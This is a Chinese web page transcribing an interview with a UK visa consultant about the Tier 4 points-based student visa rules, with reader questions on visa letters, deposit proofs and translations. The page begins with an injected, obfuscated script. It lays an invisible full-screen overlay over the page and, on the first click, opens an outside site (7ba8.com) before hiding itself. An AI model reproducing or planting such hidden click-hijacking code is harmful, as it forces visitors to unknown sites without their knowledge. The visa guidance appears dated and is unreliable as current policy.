<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>［专题阅读］签证顾问带你解读：英国签证新制的利与弊
访谈嘉宾：袁希（资深英国签证顾问）
访谈关键语录:
英国移民局在政策制定的时候没有考虑的各个国家的国情
申请人必须要仔细核对签证函的具体信息是否符合英国移民局的定义标准
现在所有评分制的签证要求凡是非英语文件必须有翻译，这已经写在移民法里边了，因此只能执行
学生一定要之前评估好自己的学习计划，到了英国不可以随便转学
单纯的不限制存期，意义不大
贷款以前在英国政策下一直没有官方说承认过，新政策明显对经济担保降低难度了
第一部分：关于签证函的材料组织难度
访谈实录
——————————————————————
主持人说：让我们一起掌声欢迎一下英国版红人superfy
袁希（superfy）说：谢谢滴答长期以来对我们的支持
主持人说：访谈正式开始！
袁希（superfy）说：大家好。
主持人说：计点积分制推行至今，也将近两个多月了，政策发布之时，滴答也对其做了非常详尽的专题报道，舆论也一致认为新的签证制度，更加透明、公平、简便。
然而在此过渡期内，由于内政部和英国驻外签证处对同一条规则有若干个不同的解释，导致了海外学生拿不到签证这个问题非常普遍。在您看来，导致各方对规定有若干不同解释的原因是什么呢？
袁希（superfy）说：主要还是英国移民局在政策制定的时候没有考虑的各个国家的国情，因为每个国家由于国情不同出具的资料也是不同的，但是移民局希望用统一的标准来界定是根本不现实的。
主持人说：可以具体一点谈谈TIER4中有哪些规则最容易引发各方的歧义吗？
袁希（superfy）说：比如对于VISA LETTER的要求，英国大学以前都是自己制定通知书的形式，现在要求必须统一，但是移民局又不给一个正式的标准，只是把需要写什么制定出来的。但是各个大学理解不同，就造成了写出来的VISA LETTER样式不同。
另外一个容易产生歧义的就是BANK STATEMENT。按照新的TIER 4政策，中国的存单根本就不在他们的定义里边，这样就必须用存款证明来替代。有的人直接提供存单去申请，当然就会拒签，因为这在TIER 4政策下是无效的资料。
主持人说：没错，我们今天要重点来聊聊的，也是签证函的问题，以及担保金的存款证明。
签证函方面。根据新的体系，普通学生签证申请人需获得40点积分。其中，获得由英国校方出具的签证函可获得30个积分,而您也曾撰文谈到导致近期拒签的首要罪魁祸首，就是签证函的不合格。您能再具体谈谈，学生在材料组织上，最要注意的问题还有哪些吗？
袁希（superfy）说：首先，申请人必须要仔细核对签证函的具体信息是否符合英国移民局的定义标准。如果缺了哪些信息，必须要求学校更新签证函，另外就是核对本身已经写的信息是否准确。比如学生的姓名，出生日期，国籍，专业名称等等。这些特别容易出问题。因为大学在写签证函的时候用的都是模板，只不过把个人信息修改一下，这就会造成，有一两个信息忘记修改了，用的还是前一个学生的信息。
主持人说：专业机构的翻译对于申请人而言，是否比以往都来得更重要呢？
袁希（superfy）说：是的，新的政策已经不可以自己翻译，必须是专业的翻译机构或者是有翻译资格的个人来翻译。
主持人说：我在论坛看到一个网友说的非常有意思，他说，今天被签证中心告知,只要提交的资料有一个中文字,都必须交翻译件. 其他的资料要翻译也就算了,翻就翻吧.也不在乎了 但连存折也要翻....我就抗不住了. 签证中心是不是想钱想疯了? 您怎么认为？
袁希（superfy）说：其实这不是签证中心的规定，是现在移民法的规定。现在所有评分制的签证要求凡是非英语文件必须有翻译，这已经写在移民法里边了，因此只能执行。
第二部分：关于保障学生权益、转校限制、担保存期限制
访谈实录
——————————————————————
主持人说：另外，最近还有个非常有意思的新闻，英国政府近日宣布，有资格出具入学通知书的注册院校数量狂跌了90%。因此目前受到英国政府认可的合法公立、私立教育机构只有1500所，而之前这个名单长达15000所。是否出现了这么惊人的数字偏差，就表示新政在保障国际学生利益上起到了立竿见影的效果呢？
袁希（superfy）说：其实英国新的T4政策最主要的就是强调了英国学校的责任问题。新政策出台后，取缔了大量的英国假学校。所谓假学校就是注册是合法的，但是没有老师，没有办学场所，就是收钱给国际学生发证书续签用的。这些学校在伦敦地区非常多，比如很多学校一年的学费才几百英镑，这显然连一般的成本都不够。英国那边的学生都知道在3月份的“维珍”事件，由于这个事件被注销了好多大学
主持人说：看来，从这点来看，新政还是起到了相当积极的作用
袁希（superfy）说：没错，新政策出台后很多在英国长期花钱买OFFER的学生都回来了，这就是效果。 我个人到是很支持新政策，因为这样可以让那些以学生名义入境，到英国不读书的学生没有空子可钻，长远来说对那些真正读书的学生是有利的。
主持人说：新政中还有一个限制让人非常关注，那就是转校的限制。学生凭其所申请学校的签证函获得学生签证后，入境后只能就读该校，不准转去其他学校就读。 如想转校，则需向移民局申请，那么在新政背景下，对于学校选择摇摆不定的学生，您有什么好的建议吗？
袁希（superfy）说：对，这是完全学习澳大利亚的签证体系，转学也就意味着重新申请签证。因此对于签证前还没有决定去哪个学校读书的学生来说是非常不利的。我个人认为学生一定要之前评估好自己的学习计划，到了英国不可以随便转学，否则会比较麻烦。 不过英国这样规定其实更主要的是为了便于移民局跟踪学生的信息。
主持人说：同时，还有一部分人也因为新政相当郁闷，2008年申请2009年秋季入学的申请人，由于这些学生手里的通知书不符合签证新政而面临作废。
袁希（superfy）说：凡是被TIER 4政策认可的英国学校，都已经很清楚新的政策了。因此以前用的是旧的通知书的申请人，应该会收到学校最新的VISA LETTER替代。如果还没有收到，应该跟学校及时联系。
主持人说：那么使馆会对这部分人的申请优先开闸吗？
袁希（superfy）说：不会。
主持人说：在担保金方面，为应对近期的高拒签率，英国移民局被迫作出让步，同意在09年9月30日之前对申请人账户内存款必须超过28天的限制做暂时的中止，那么这个利好政策，您认为最让哪些情况的申请者受益呢？
袁希（superfy）说：利好，但是受益我认为谈不上。因为28天还是没有存期限制，其实对于大部分学生申请人来说没什么区别，无非是早点签证和晚点签证的问题。现在的拒签并不是因为存款时间的问题造成的，而是本身移民法定义的问题。加上申请人大部分都不熟悉移民法造成的。因此单纯的不限制存期，意义不大。
主持人说：虽然现在降低了留下费用标准，有消息称，新政只承认现金存款，而股票、基金等其他投资类担保形式不被承认，是这样吗？
袁希（superfy）说：是的，新的评分制签证都不承认股票，基金这样的投资。
主持人说：那么这对担保金的要求是不是更高了？申请者因为现金存款的短缺而被拒之门外的概率是否提高了？
袁希（superfy）说：我个人认为也不是，因为现在接受贷款。实在没有存款申请人还可以选择贷款的形式。而贷款以前在英国政策下一直没有官方说承认过。
主持人说：所以担保金方面，总体来说，英国是更为宽限了？
袁希（superfy）说：是的，新政策明显对经济担保降低难度了。
主持人说：另外，据新的签证规定，国际学生可以在他们学习期间，每周工作不超过20小时，在假期里他们可以进行全职的工作。而且他们可以参加任何与学习课程相关的工作实习内容。但有网友反映，在英国找到与课程相关的全职工作，门槛非常高，这样的规定，对于中国学生而言，形同虚设，您如何认为呢？
袁希（superfy）说：实际上如果留学生希望打工补充自己的经济状况在读书的时候并不现实。更多的是社会经验的累积吧。加上现在英国经济情况不好，英国政府极力的鼓励企业雇佣本国公民，因此外国人在英国找工作很不容易。
以前类似清洁工这样英国人不愿意做的工作，现在都抢着做，因此哪里有外国人的份。
主持人说：呵呵，想到一块去了，刚想问您学生毕业后的工作难度问题
早前，也看到您发布的4月1日工作类签证新条例，英国政府为应对经济危机，在政策上有些“地方保护主义”的调整，那么这些新规定下，对于毕业后申请工作签证的人来说，是否门槛也相应提高了呢？
袁希（superfy）说：对的，后续的一些工作签证明显是为了限制外国人来英国工作。比如大家关心的POST STUDY WORKER这个签证，以前本科以上就可以申请，一些DIPLOMA 或者 CERTIFICATE课程都是承认的。但是现在只有拿到学位才可以申请PSW签证，DIPLOMA只有教育的证书才承认，其他证书都不承认了。而英国的TIER 1技术移民更是不让本科申请，必须要有硕士以上学历才可以。
英国的政策其实很明显就是拿你口袋里的钱来，你愿意花钱给我们，我们欢迎，但是你想花完了钱再挣回来，那么是不欢迎的。
主持人说：呵呵 总结的相当精辟！
袁希（superfy）说：但是我们也可以理解，在现在的经济形势下，英国被迫作出一些工作签证政策的调整也是必须的。
主持人说：那么您认为，这样的舆论上称作更“透明、公正、简便”的签证新制，对于来年前往英国留学的中国学生的人数是会起到一个积极的促进作用还是严格限制了中国学生的人数？
袁希（superfy）说：对于入境英国学生人数肯定是起到了作用，学生会大幅增加。但是英国政府会保持一个平衡，就是说在英国停留的中国人跟以前不会有明显的区别。因为离开英国的人也会多，因为后边的政策限制你在续签或者在英国找到工作转为工作签证。
包括英国政府最近几个月明显收紧了续签的标准，对于那些拿着学生签证不读书的学生审核力度非常大，很多人都是被强制离境的。这样基本可以保持一个平衡。
主持人说：最后，请您再对英国签证政策做一个小小的预测，您认为，在现有的体制之下，在造假丑闻百出，经济危机蔓延的大背景下，移民局还最有可能对哪些规定作出相应调整？
袁希（superfy）说：移民局作出大的调整的可能性不大，因为我个人认为新政策积极面还是大于消极面的，只是新政策需要时间来磨合。学生政策看来应该是不会变了，以后工作签证和技术移民等政策还要看英国的经济形式，如果经济形式没有好转，并且失业率持续攀升，那么移民，工作类型的签证肯定会越来越难。
[url=]
第三部分：网友自由提问
访谈实录
——————————————————————
主持人说：好的。非常感谢老师，，接下来时间，我会抽选网友的一些问题，袁先生您来解答一下。
kotoko说：老师，我有一个问题要问您！我的留学存款原先是存在我爸的户头上，后来发现政策改了我5月中旬就把钱转到我的户头，当时直接开了冻结1个月的存款证明。可是现在没拿到VL 1个月内无法去申请签证，我的存款证明怎么办呢？
袁希（superfy）说：存款证明只能作废，等签证之前的1个月之内重新开
dl-hunter说：VL只对雅思有要求，但是可不可以不递交大学成绩单和在读证明？
袁希（superfy）说：可以不递交成绩单，但是在读证明推荐你递交，如果拿到学位最好递交学位。
bert_yang说：我是学校集体户口，申请赴英签证需要户籍证明吗？
袁希（superfy）说：现在不强制递交户口但是我推荐你把户口卡从学校借出递交。
rick5420说：我的VISA LETTER上要求我提供推荐信 但是我申请的时候 推荐信 是用自己做的抬头 学院的英文名 都是自己翻译的 但是都是按照学校网址上的写出 然后打出来 这个还要翻译吗？
袁希（superfy）说：不用翻译，这个可以算作原件。
q2008991说：我想问下，我的VISA LETTER 和 存款材料都可以。40分能拿到手。但是我没雅思成绩，是内部的语言测试。送签后使馆来人话询问这语言测试的事情。我没能很好的回答。你说这样的话我拒签机率很大吗？
袁希（superfy）说：那要看当时如何调查的，你如何回答的。对于内部语言测试这几年大学为了多招收学生广泛开展，但是有些语言测试就是表面的。因此签证处今年开始调查，如果他们认为你根本回答的跟考试对不上，那么有可能定义为假材料。
jerry88_88说：我visa letter 上面的名字是Mr Xue Feng Jiang, 把我的姓氏姜写在后边了，和我护照上面的顺序不一样，这样去签证可以吗？还是要学校把名字改成 Jiang Xue Feng？
袁希（superfy）说：没事，放心。
rougeblanche说：我是昨天才把父母户头里的钱转到我新开的户头里，活期存折，可6月底就要递签了，这样的情况，递交存款证明和存折够吗？
袁希（superfy）说：递交存折就可以了。
kotoko说：还有一个问题，是帮同学问的，她今天出去了。去年来的London 读ucl的语言课程 为期一年，签证也给的是一年 到今年9月30号现在收到了queen mary的offer,不知道是回国续签呢还是直接在这边续签？
袁希（superfy）说：两边都可以，没有具体的要求。唯一的区别是关于生活费的金额。英国要求2个月的生活费，而中国要求9个月的生活费。
rougeblanche说：不用交户口本，说明父母与我的关系？和证明父母资金的来源?
袁希（superfy）说：新政策不在要求资金来源解释。
rick5420说：我的最新的VISA LETTER上没有VISA LETTER字样 其他都很全 这个可以吗 一定要有VISA LETTER的标头嘛
袁希（superfy）说：可以，没事。
yaonian1986说：读语言的续签要注意什么？
袁希（superfy）说：跟其他续签是一样的，但是如果你9月份语言续签，也就意味着你跟当初申请签证的学习计划有所改变。
rougeblanche说：谢谢！我申请到英国硕士项目，unconditional offer，不用读语言，9月底开始注册开学，visa letter写到的evidence reviewed to assess academic ability: BA ***xx, from ***x university, shanghai, www.***.edu.cn请问我为了得到那30分，是否只需要提供学位证和翻译件，其他包括IELTS成绩单也可以不提供了？谢谢！
袁希（superfy）
说：可以，没事。必须要提供学位原件和翻译件。 因为你的VISA LETTER上写了这方面的信息。
bert_yang说：我硕士毕业，到英国攻读博士，在办签证时需要本科的毕业证书和学位证吗？
袁希（superfy）说：VISA LETTER上边没写就不需要。
bill-li说：请问不读语言的PHD签证还需要提交OFFER吗？只提交VL可否？
袁希（superfy）说：VL即可。
11becky说：Tier 4 of the Points Based System (PBS)-Policy Guidance page 41, released on 1 June 2009 172. The letter must be on official letter-headed *** or stationery of the organisation of the official financial sponsor and have the official stamp of that organisation on it. 请问：这句话是说奖学金证明信必须写在official letter-headed *** 或者“盖有有公章的”stationery of the organisation of the official financial sponsor？ 还是说奖学金证明必须写在“盖有公章的”official letter-headed *** 或者“盖有公章的”stationery of the organisation of the official financial sponsor？
袁希（superfy）说：就是说你的资助机构必须有抬头纸的文件来证明，或者是必须上边有他们官方的公章。
rougeblanche说：visa letter写到的evidence reviewed to assess academic ability: BA ***xx, from ***x university, shanghai, www.***.edu.cn请问像本科成绩单，IELTS成绩单，学历证，都不用交吗？
袁希（superfy）说：是的，因为VL上写的很清楚，对你的学历评估是通过学位来进行的因此不需要提供其他的资料。不过签证的时候我推荐你提交IELTS。
q2008991说：我当时的内部语言测试是在中介做的。如果拒签了，定义我假材料的话，中介能出面帮我证明吗？
袁希（superfy）说：可以试试，但是这点我不确认。不过签证处如果没有绝对的证据是不会轻易把你定义为假材料的，顶多是严重质疑。
bert_yang说：今天刚拿到照会，请问照会需要翻译件吗？
袁希（superfy）说：只要是中文资料都需要翻译。
主持人说：好的，时间非常快，我们今天的访谈到此为止
主持人说：再次感谢袁先生！
袁希（superfy）说：感谢主持人,和滴答对我的大力支持，也感谢网友们的提问。谢谢。 有问题大家可以在滴答上边发帖提问。
主持人说：欢迎继续期待我们下一期的嘉宾采访！ |
收藏